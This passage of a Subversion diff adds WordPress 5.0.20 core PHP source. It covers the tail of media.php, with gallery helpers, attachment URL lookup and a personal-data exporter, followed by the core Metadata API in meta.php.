+ * @param bool        $html Optional. Whether to return HTML or data in the array. Default true.
+ * @return array A list of arrays, each containing gallery data and srcs parsed
+ *               from the expanded shortcode.
+ */
+function get_post_galleries( $post, $html = true ) {
+	if ( ! $post = get_post( $post ) )
+		return array();
+
+	if ( ! has_shortcode( $post->post_content, 'gallery' ) )
+		return array();
+
+	$galleries = array();
+	if ( preg_match_all( '/' . get_shortcode_regex() . '/s', $post->post_content, $matches, PREG_SET_ORDER ) ) {
+		foreach ( $matches as $shortcode ) {
+			if ( 'gallery' === $shortcode[2] ) {
+				$srcs = array();
+
+				$shortcode_attrs = shortcode_parse_atts( $shortcode[3] );
+				if ( ! is_array( $shortcode_attrs ) ) {
+					$shortcode_attrs = array();
+				}
+
+				// Specify the post id of the gallery we're viewing if the shortcode doesn't reference another post already.
+				if ( ! isset( $shortcode_attrs['id'] ) ) {
+					$shortcode[3] .= ' id="' . intval( $post->ID ) . '"';
+				}
+
+				$gallery = do_shortcode_tag( $shortcode );
+				if ( $html ) {
+					$galleries[] = $gallery;
+				} else {
+					preg_match_all( '#src=([\'"])(.+?)\1#is', $gallery, $src, PREG_SET_ORDER );
+					if ( ! empty( $src ) ) {
+						foreach ( $src as $s ) {
+							$srcs[] = $s[2];
+						}
+					}
+
+					$galleries[] = array_merge(
+						$shortcode_attrs,
+						array(
+							'src' => array_values( array_unique( $srcs ) )
+						)
+					);
+				}
+			}
+		}
+	}
+
+	/**
+	 * Filters the list of all found galleries in the given post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array   $galleries Associative array of all found post galleries.
+	 * @param WP_Post $post      Post object.
+	 */
+	return apply_filters( 'get_post_galleries', $galleries, $post );
+}
+
+/**
+ * Check a specified post's content for gallery and, if present, return the first
+ *
+ * @since 3.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @param bool        $html Optional. Whether to return HTML or data. Default is true.
+ * @return string|array Gallery data and srcs parsed from the expanded shortcode.
+ */
+function get_post_gallery( $post = 0, $html = true ) {
+	$galleries = get_post_galleries( $post, $html );
+	$gallery = reset( $galleries );
+
+	/**
+	 * Filters the first-found post gallery.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array       $gallery   The first-found post gallery.
+	 * @param int|WP_Post $post      Post ID or object.
+	 * @param array       $galleries Associative array of all found post galleries.
+	 */
+	return apply_filters( 'get_post_gallery', $gallery, $post, $galleries );
+}
+
+/**
+ * Retrieve the image srcs from galleries from a post's content, if present
+ *
+ * @since 3.6.0
+ *
+ * @see get_post_galleries()
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
+ * @return array A list of lists, each containing image srcs parsed.
+ *               from an expanded shortcode
+ */
+function get_post_galleries_images( $post = 0 ) {
+	$galleries = get_post_galleries( $post, false );
+	return wp_list_pluck( $galleries, 'src' );
+}
+
+/**
+ * Checks a post's content for galleries and return the image srcs for the first found gallery
+ *
+ * @since 3.6.0
+ *
+ * @see get_post_gallery()
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
+ * @return array A list of a gallery's image srcs in order.
+ */
+function get_post_gallery_images( $post = 0 ) {
+	$gallery = get_post_gallery( $post, false );
+	return empty( $gallery['src'] ) ? array() : $gallery['src'];
+}
+
+/**
+ * Maybe attempts to generate attachment metadata, if missing.
+ *
+ * @since 3.9.0
+ *
+ * @param WP_Post $attachment Attachment object.
+ */
+function wp_maybe_generate_attachment_metadata( $attachment ) {
+	if ( empty( $attachment ) || ( empty( $attachment->ID ) || ! $attachment_id = (int) $attachment->ID ) ) {
+		return;
+	}
+
+	$file = get_attached_file( $attachment_id );
+	$meta = wp_get_attachment_metadata( $attachment_id );
+	if ( empty( $meta ) && file_exists( $file ) ) {
+		$_meta = get_post_meta( $attachment_id );
+		$regeneration_lock = 'wp_generating_att_' . $attachment_id;
+		if ( ! array_key_exists( '_wp_attachment_metadata', $_meta ) && ! get_transient( $regeneration_lock ) ) {
+			set_transient( $regeneration_lock, $file );
+			wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
+			delete_transient( $regeneration_lock );
+		}
+	}
+}
+
+/**
+ * Tries to convert an attachment URL into a post ID.
+ *
+ * @since 4.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $url The URL to resolve.
+ * @return int The found post ID, or 0 on failure.
+ */
+function attachment_url_to_postid( $url ) {
+	global $wpdb;
+
+	$dir = wp_get_upload_dir();
+	$path = $url;
+
+	$site_url = parse_url( $dir['url'] );
+	$image_path = parse_url( $path );
+
+	//force the protocols to match if needed
+	if ( isset( $image_path['scheme'] ) && ( $image_path['scheme'] !== $site_url['scheme'] ) ) {
+		$path = str_replace( $image_path['scheme'], $site_url['scheme'], $path );
+	}
+
+	if ( 0 === strpos( $path, $dir['baseurl'] . '/' ) ) {
+		$path = substr( $path, strlen( $dir['baseurl'] . '/' ) );
+	}
+
+	$sql = $wpdb->prepare(
+		"SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attached_file' AND meta_value = %s",
+		$path
+	);
+	$post_id = $wpdb->get_var( $sql );
+
+	/**
+	 * Filters an attachment id found by URL.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param int|null $post_id The post_id (if any) found by the function.
+	 * @param string   $url     The URL being looked up.
+	 */
+	return (int) apply_filters( 'attachment_url_to_postid', $post_id, $url );
+}
+
+/**
+ * Returns the URLs for CSS files used in an iframe-sandbox'd TinyMCE media view.
+ *
+ * @since 4.0.0
+ *
+ * @return array The relevant CSS file URLs.
+ */
+function wpview_media_sandbox_styles() {
+ 	$version = 'ver=' . get_bloginfo( 'version' );
+ 	$mediaelement = includes_url( "js/mediaelement/mediaelementplayer-legacy.min.css?$version" );
+ 	$wpmediaelement = includes_url( "js/mediaelement/wp-mediaelement.css?$version" );
+
+	return array( $mediaelement, $wpmediaelement );
+}
+
+/**
+ * Registers the personal data exporter for media
+ *
+ * @param array   $exporters   An array of personal data exporters.
+ * @return array  An array of personal data exporters.
+ */
+function wp_register_media_personal_data_exporter( $exporters ) {
+	$exporters['wordpress-media'] = array(
+		'exporter_friendly_name' => __( 'WordPress Media' ),
+		'callback'               => 'wp_media_personal_data_exporter',
+	);
+
+	return $exporters;
+}
+
+/**
+ * Finds and exports attachments associated with an email address.
+ *
+ * @since 4.9.6
+ *
+ * @param  string $email_address The attachment owner email address.
+ * @param  int    $page          Attachment page.
+ * @return array  $return        An array of personal data.
+ */
+function wp_media_personal_data_exporter( $email_address, $page = 1 ) {
+	// Limit us to 50 attachments at a time to avoid timing out.
+	$number = 50;
+	$page   = (int) $page;
+
+	$data_to_export = array();
+
+	$user = get_user_by( 'email' , $email_address );
+	if ( false === $user ) {
+		return array(
+			'data' => $data_to_export,
+			'done' => true,
+		);
+	}
+
+	$post_query = new WP_Query(
+		array(
+			'author'         => $user->ID,
+			'posts_per_page' => $number,
+			'paged'          => $page,
+			'post_type'      => 'attachment',
+			'post_status'    => 'any',
+			'orderby'        => 'ID',
+			'order'          => 'ASC',
+		)
+	);
+
+	foreach ( (array) $post_query->posts as $post ) {
+		$attachment_url = wp_get_attachment_url( $post->ID );
+
+		if ( $attachment_url ) {
+			$post_data_to_export = array(
+				array( 'name'  => __( 'URL' ), 'value' => $attachment_url ),
+			);
+
+			$data_to_export[] = array(
+				'group_id'    => 'media',
+				'group_label' => __( 'Media' ),
+				'item_id'     => "post-{$post->ID}",
+				'data'        => $post_data_to_export,
+			);
+		}
+	}
+
+	$done = $post_query->max_num_pages <= $page;
+
+	return array(
+		'data' => $data_to_export,
+		'done' => $done,
+	);
+}
Index: /tags/5.0.20/src/wp-includes/meta.php
===================================================================
--- /tags/5.0.20/src/wp-includes/meta.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/meta.php	(revision 56912)
@@ -0,0 +1,1401 @@
+<?php
+/**
+ * Core Metadata API
+ *
+ * Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
+ * for an object is a represented by a simple key-value pair. Objects may contain multiple
+ * metadata entries that share the same key and differ only in their value.
+ *
+ * @package WordPress
+ * @subpackage Meta
+ */
+
+/**
+ * Add metadata for the specified object.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type  Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $object_id  ID of the object metadata is for
+ * @param string $meta_key   Metadata key
+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param bool   $unique     Optional, default is false.
+ *                           Whether the specified metadata key should be unique for the object.
+ *                           If true, and the object already has a value for the specified metadata key,
+ *                           no change will be made.
+ * @return int|false The meta ID on success, false on failure.
+ */
+function add_metadata($meta_type, $object_id, $meta_key, $meta_value, $unique = false) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$meta_subtype = get_object_subtype( $meta_type, $object_id );
+
+	$column = sanitize_key($meta_type . '_id');
+
+	// expected_slashed ($meta_key)
+	$meta_key = wp_unslash($meta_key);
+	$meta_value = wp_unslash($meta_value);
+	$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
+
+	/**
+	 * Filters whether to add metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|bool $check      Whether to allow adding metadata for the given type.
+	 * @param int       $object_id  Object ID.
+	 * @param string    $meta_key   Meta key.
+	 * @param mixed     $meta_value Meta value. Must be serializable if non-scalar.
+	 * @param bool      $unique     Whether the specified meta key should be unique
+	 *                              for the object. Optional. Default false.
+	 */
+	$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
+	if ( null !== $check )
+		return $check;
+
+	if ( $unique && $wpdb->get_var( $wpdb->prepare(
+		"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
+		$meta_key, $object_id ) ) )
+		return false;
+
+	$_meta_value = $meta_value;
+	$meta_value = maybe_serialize( $meta_value );
+
+	/**
+	 * Fires immediately before meta of a specific type is added.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user).
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );
+
+	$result = $wpdb->insert( $table, array(
+		$column => $object_id,
+		'meta_key' => $meta_key,
+		'meta_value' => $meta_value
+	) );
+
+	if ( ! $result )
+		return false;
+
+	$mid = (int) $wpdb->insert_id;
+
+	wp_cache_delete($object_id, $meta_type . '_meta');
+
+	/**
+	 * Fires immediately after meta of a specific type is added.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user).
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $mid        The meta ID after successful update.
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );
+
+	return $mid;
+}
+
+/**
+ * Update metadata for the specified object. If no value already exists for the specified object
+ * ID and metadata key, the metadata will be added.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type  Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $object_id  ID of the object metadata is for
+ * @param string $meta_key   Metadata key
+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param mixed  $prev_value Optional. If specified, only update existing metadata entries with
+ * 		                     the specified value. Otherwise, update all entries.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
+ */
+function update_metadata($meta_type, $object_id, $meta_key, $meta_value, $prev_value = '') {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$meta_subtype = get_object_subtype( $meta_type, $object_id );
+
+	$column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+
+	// expected_slashed ($meta_key)
+	$raw_meta_key = $meta_key;
+	$meta_key = wp_unslash($meta_key);
+	$passed_value = $meta_value;
+	$meta_value = wp_unslash($meta_value);
+	$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
+
+	/**
+	 * Filters whether to update metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|bool $check      Whether to allow updating metadata for the given type.
+	 * @param int       $object_id  Object ID.
+	 * @param string    $meta_key   Meta key.
+	 * @param mixed     $meta_value Meta value. Must be serializable if non-scalar.
+	 * @param mixed     $prev_value Optional. If specified, only update existing
+	 *                              metadata entries with the specified value.
+	 *                              Otherwise, update all entries.
+	 */
+	$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
+	if ( null !== $check )
+		return (bool) $check;
+
+	// Compare existing value to new value if no prev value given and the key exists only once.
+	if ( empty($prev_value) ) {
+		$old_value = get_metadata($meta_type, $object_id, $meta_key);
+		if ( count($old_value) == 1 ) {
+			if ( $old_value[0] === $meta_value )
+				return false;
+		}
+	}
+
+	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
+	if ( empty( $meta_ids ) ) {
+		return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
+	}
+
+	$_meta_value = $meta_value;
+	$meta_value = maybe_serialize( $meta_value );
+
+	$data  = compact( 'meta_value' );
+	$where = array( $column => $object_id, 'meta_key' => $meta_key );
+
+	if ( !empty( $prev_value ) ) {
+		$prev_value = maybe_serialize($prev_value);
+		$where['meta_value'] = $prev_value;
+	}
+
+	foreach ( $meta_ids as $meta_id ) {
+		/**
+		 * Fires immediately before updating metadata of a specific type.
+		 *
+		 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+		 * object type (comment, post, term, or user).
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int    $meta_id    ID of the metadata entry to update.
+		 * @param int    $object_id  Object ID.
+		 * @param string $meta_key   Meta key.
+		 * @param mixed  $meta_value Meta value.
+		 */
+		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+
+		if ( 'post' == $meta_type ) {
+			/**
+			 * Fires immediately before updating a post's metadata.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param int    $meta_id    ID of metadata entry to update.
+			 * @param int    $object_id  Object ID.
+			 * @param string $meta_key   Meta key.
+			 * @param mixed  $meta_value Meta value.
+			 */
+			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+	}
+
+	$result = $wpdb->update( $table, $data, $where );
+	if ( ! $result )
+		return false;
+
+	wp_cache_delete($object_id, $meta_type . '_meta');
+
+	foreach ( $meta_ids as $meta_id ) {
+		/**
+		 * Fires immediately after updating metadata of a specific type.
+		 *
+		 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+		 * object type (comment, post, term, or user).
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int    $meta_id    ID of updated metadata entry.
+		 * @param int    $object_id  Object ID.
+		 * @param string $meta_key   Meta key.
+		 * @param mixed  $meta_value Meta value.
+		 */
+		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+
+		if ( 'post' == $meta_type ) {
+			/**
+			 * Fires immediately after updating a post's metadata.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param int    $meta_id    ID of updated metadata entry.
+			 * @param int    $object_id  Object ID.
+			 * @param string $meta_key   Meta key.
+			 * @param mixed  $meta_value Meta value.
+			 */
+			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+	}
+
+	return true;
+}
+
+/**
+ * Delete metadata for the specified object.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type  Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $object_id  ID of the object metadata is for
+ * @param string $meta_key   Metadata key
+ * @param mixed  $meta_value Optional. Metadata value. Must be serializable if non-scalar. If specified, only delete
+ *                           metadata entries with this value. Otherwise, delete all entries with the specified meta_key.
+ *                           Pass `null, `false`, or an empty string to skip this check. (For backward compatibility,
+ *                           it is not possible to pass an empty string to delete those entries with an empty string
+ *                           for a value.)
+ * @param bool   $delete_all Optional, default is false. If true, delete matching metadata entries for all objects,
+ *                           ignoring the specified object_id. Otherwise, only delete matching metadata entries for
+ *                           the specified object_id.
+ * @return bool True on successful delete, false on failure.
+ */
+function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id && ! $delete_all ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$type_column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+	// expected_slashed ($meta_key)
+	$meta_key = wp_unslash($meta_key);
+	$meta_value = wp_unslash($meta_value);
+
+	/**
+	 * Filters whether to delete metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|bool $delete     Whether to allow metadata deletion of the given type.
+	 * @param int       $object_id  Object ID.
+	 * @param string    $meta_key   Meta key.
+	 * @param mixed     $meta_value Meta value. Must be serializable if non-scalar.
+	 * @param bool      $delete_all Whether to delete the matching metadata entries
+	 *                              for all objects, ignoring the specified $object_id.
+	 *                              Default false.
+	 */
+	$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
+	if ( null !== $check )
+		return (bool) $check;
+
+	$_meta_value = $meta_value;
+	$meta_value = maybe_serialize( $meta_value );
+
+	$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
+
+	if ( !$delete_all )
+		$query .= $wpdb->prepare(" AND $type_column = %d", $object_id );
+
+	if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
+		$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
+
+	$meta_ids = $wpdb->get_col( $query );
+	if ( !count( $meta_ids ) )
+		return false;
+
+	if ( $delete_all ) {
+		if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
+			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = %s", $meta_key, $meta_value ) );
+		} else {
+			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
+		}
+	}
+
+	/**
+	 * Fires immediately before deleting metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user).
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array  $meta_ids   An array of metadata entry IDs to delete.
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
+
+	// Old-style action.
+	if ( 'post' == $meta_type ) {
+		/**
+		 * Fires immediately before deleting metadata for a post.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $meta_ids An array of post metadata entry IDs to delete.
+		 */
+		do_action( 'delete_postmeta', $meta_ids );
+	}
+
+	$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . " )";
+
+	$count = $wpdb->query($query);
+
+	if ( !$count )
+		return false;
+
+	if ( $delete_all ) {
+		foreach ( (array) $object_ids as $o_id ) {
+			wp_cache_delete($o_id, $meta_type . '_meta');
+		}
+	} else {
+		wp_cache_delete($object_id, $meta_type . '_meta');
+	}
+
+	/**
+	 * Fires immediately after deleting metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user).
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array  $meta_ids   An array of deleted metadata entry IDs.
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
+
+	// Old-style action.
+	if ( 'post' == $meta_type ) {
+		/**
+		 * Fires immediately after deleting metadata for a post.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $meta_ids An array of deleted post metadata entry IDs.
+		 */
+		do_action( 'deleted_postmeta', $meta_ids );
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve metadata for the specified object.
+ *
+ * @since 2.9.0
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $object_id ID of the object metadata is for
+ * @param string $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
+ * 		                    the specified object.
+ * @param bool   $single    Optional, default is false.
+ *                          If true, return only the first value of the specified meta_key.
+ *                          This parameter has no effect if meta_key is not specified.
+ * @return mixed Single metadata value, or array of values
+ */
+function get_metadata($meta_type, $object_id, $meta_key = '', $single = false) {
+	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	/**
+	 * Filters whether to retrieve metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|array|string $value     The value get_metadata() should return - a single metadata value,
+	 *                                     or an array of values.
+	 * @param int               $object_id Object ID.
+	 * @param string            $meta_key  Meta key.
+	 * @param bool              $single    Whether to return only the first value of the specified $meta_key.
+	 */
+	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single );
+	if ( null !== $check ) {
+		if ( $single && is_array( $check ) )
+			return $check[0];
+		else
+			return $check;
+	}
+
+	$meta_cache = wp_cache_get($object_id, $meta_type . '_meta');
+
+	if ( !$meta_cache ) {
+		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
+		$meta_cache = $meta_cache[$object_id];
+	}
+
+	if ( ! $meta_key ) {
+		return $meta_cache;
+	}
+
+	if ( isset($meta_cache[$meta_key]) ) {
+		if ( $single )
+			return maybe_unserialize( $meta_cache[$meta_key][0] );
+		else
+			return array_map('maybe_unserialize', $meta_cache[$meta_key]);
+	}
+
+	if ($single)
+		return '';
+	else
+		return array();
+}
+
+/**
+ * Determine if a meta key is set for a given object
+ *
+ * @since 3.3.0
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $object_id ID of the object metadata is for
+ * @param string $meta_key  Metadata key.
+ * @return bool True of the key is set, false if not.
+ */
+function metadata_exists( $meta_type, $object_id, $meta_key ) {
+	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	/** This filter is documented in wp-includes/meta.php */
+	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true );
+	if ( null !== $check )
+		return (bool) $check;
+
+	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
+
+	if ( !$meta_cache ) {
+		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
+		$meta_cache = $meta_cache[$object_id];
+	}
+
+	if ( isset( $meta_cache[ $meta_key ] ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Get meta data by meta ID
+ *
+ * @since 3.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $meta_id   ID for a specific meta row
+ * @return object|false Meta object or false.
+ */
+function get_metadata_by_mid( $meta_type, $meta_id ) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
+		return false;
+	}
+
+	$meta_id = intval( $meta_id );
+	if ( $meta_id <= 0 ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$id_column = ( 'user' == $meta_type ) ? 'umeta_id' : 'meta_id';
+
+	/**
+	 * Filters whether to retrieve metadata of a specific type by meta ID.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param mixed $value    The value get_metadata_by_mid() should return.
+	 * @param int   $meta_id  Meta ID.
+	 */
+	$check = apply_filters( "get_{$meta_type}_metadata_by_mid", null, $meta_id );
+	if ( null !== $check ) {
+		return $check;
+	}
+
+	$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );
+
+	if ( empty( $meta ) )
+		return false;
+
+	if ( isset( $meta->meta_value ) )
+		$meta->meta_value = maybe_unserialize( $meta->meta_value );
+
+	return $meta;
+}
+
+/**
+ * Update meta data by meta ID
+ *
+ * @since 3.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type  Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $meta_id    ID for a specific meta row
+ * @param string $meta_value Metadata value
+ * @param string $meta_key   Optional, you can provide a meta key to update it
+ * @return bool True on successful update, false on failure.
+ */
+function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
+	global $wpdb;
+
+	// Make sure everything is valid.
+	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
+		return false;
+	}
+
+	$meta_id = intval( $meta_id );
+	if ( $meta_id <= 0 ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+
+	/**
+	 * Filters whether to update metadata of a specific type by meta ID.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param null|bool   $check      Whether to allow updating metadata for the given type.
+	 * @param int         $meta_id    Meta ID.
+	 * @param mixed       $meta_value Meta value. Must be serializable if non-scalar.
+	 * @param string|bool $meta_key   Meta key, if provided.
+	 */
+	$check = apply_filters( "update_{$meta_type}_metadata_by_mid", null, $meta_id, $meta_value, $meta_key );
+	if ( null !== $check ) {
+		return (bool) $check;
+	}
+
+	// Fetch the meta and go on if it's found.
+	if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) {
+		$original_key = $meta->meta_key;
+		$object_id = $meta->{$column};
+
+		// If a new meta_key (last parameter) was specified, change the meta key,
+		// otherwise use the original key in the update statement.
+		if ( false === $meta_key ) {
+			$meta_key = $original_key;
+		} elseif ( ! is_string( $meta_key ) ) {
+			return false;
+		}
+
+		$meta_subtype = get_object_subtype( $meta_type, $object_id );
+
+		// Sanitize the meta
+		$_meta_value = $meta_value;
+		$meta_value  = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
+		$meta_value  = maybe_serialize( $meta_value );
+
+		// Format the data query arguments.
+		$data = array(
+			'meta_key' => $meta_key,
+			'meta_value' => $meta_value
+		);
+
+		// Format the where query arguments.
+		$where = array();
+		$where[$id_column] = $meta_id;
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+
+		if ( 'post' == $meta_type ) {
+			/** This action is documented in wp-includes/meta.php */
+			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+
+		// Run the update query, all fields in $data are %s, $where is a %d.
+		$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
+		if ( ! $result )
+			return false;
+
+		// Clear the caches.
+		wp_cache_delete($object_id, $meta_type . '_meta');
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+
+		if ( 'post' == $meta_type ) {
+			/** This action is documented in wp-includes/meta.php */
+			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+
+		return true;
+	}
+
+	// And if the meta was not found.
+	return false;
+}
+
